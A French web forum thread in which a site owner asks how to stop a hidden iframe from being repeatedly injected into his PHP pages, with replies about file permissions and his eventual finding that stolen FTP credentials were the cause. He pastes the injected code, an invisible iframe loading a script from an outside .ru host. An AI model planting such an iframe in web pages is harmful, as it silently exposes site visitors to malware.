Protection du site
Bonjour,
J'ai crée un site recement ( http://www.jafa.gp/ ) et il semble y'avoir des problèmes de "piratage" sur ce dernier. je suis obligé de "réparer" l'index frequement car une iframe s'insère contre ma volonté et "détruit" mon code PHP, ce qui empeche l'acces au site.
Comment puis je proteger l'acces a ces fichiers pour les securiser et etre sur qu'il ne soit pas modifiable par quelqu'un d'autre.
Je viens de remettre l'index comme il faut, le faux code n'est donc pas visible, je vous le met en ligne dès que ca recommence.
Ed
J'ai crée un site recement ( http://www.jafa.gp/ ) et il semble y'avoir des problèmes de "piratage" sur ce dernier. je suis obligé de "réparer" l'index frequement car une iframe s'insère contre ma volonté et "détruit" mon code PHP, ce qui empeche l'acces au site.
Comment puis je proteger l'acces a ces fichiers pour les securiser et etre sur qu'il ne soit pas modifiable par quelqu'un d'autre.
Je viens de remettre l'index comme il faut, le faux code n'est donc pas visible, je vous le met en ligne dès que ca recommence.
Ed
Configuration: Windows XP Firefox 3.0.11
10 réponses
-
salut as tu trouver la faille du pirate ? regarde deja sur ton ftp si tu n as pas quelques dossiers avec des droits trop important
-
les droits du repertoire www sont fixer a 705
lire ecrire executer pour le proprio
rien pour le groupe
lire exececuter pour le public -
et les autres dossier ...
-
l'index est dans www, donc ca doit pas venir de la, et ces droits sont 604
-
tu as des formulaires sur ton site ? ou tu utilise des includes ?
-
oui, j'ai des formulaire et des include
-
tu peux me montrer les codes ?
-
ca ne modifie que le footer de chauqe page, ca met ca :
--------------------------------------------------------------------------------
<?
echo "</div>";
echo "<div id='page_footer'>";
echo "<div align='center'><img src='img/footer.jpg'></div>
<iframe src="http://a3t.ru:8080/ts/in.cgi?pepsi89" width=125 height=125 style="visibility: hidden"></iframe>
------------------------------------------------------------------------------------
au lieu de ca
----------------------------------------------------------------------------------
<?
echo "</div>";
echo "<div id='page_footer'>";
echo "<div align='center'><img src='img/footer.jpg'></div>";
echo "</div>";
echo "</div>";
?>
----------------------------------------------------------------------------------- -
J'ai ma reponse : http://www.journalduwebmarketing.com/des-virus-voleurs-de-mots-de-passe-ftp/
Bravo les hackers, faut que je vire les compte que j'ai dasn filezilla et que je me tappe le changement de login chez tout mes hebergeurs -
heureux d'etre sous linux :x
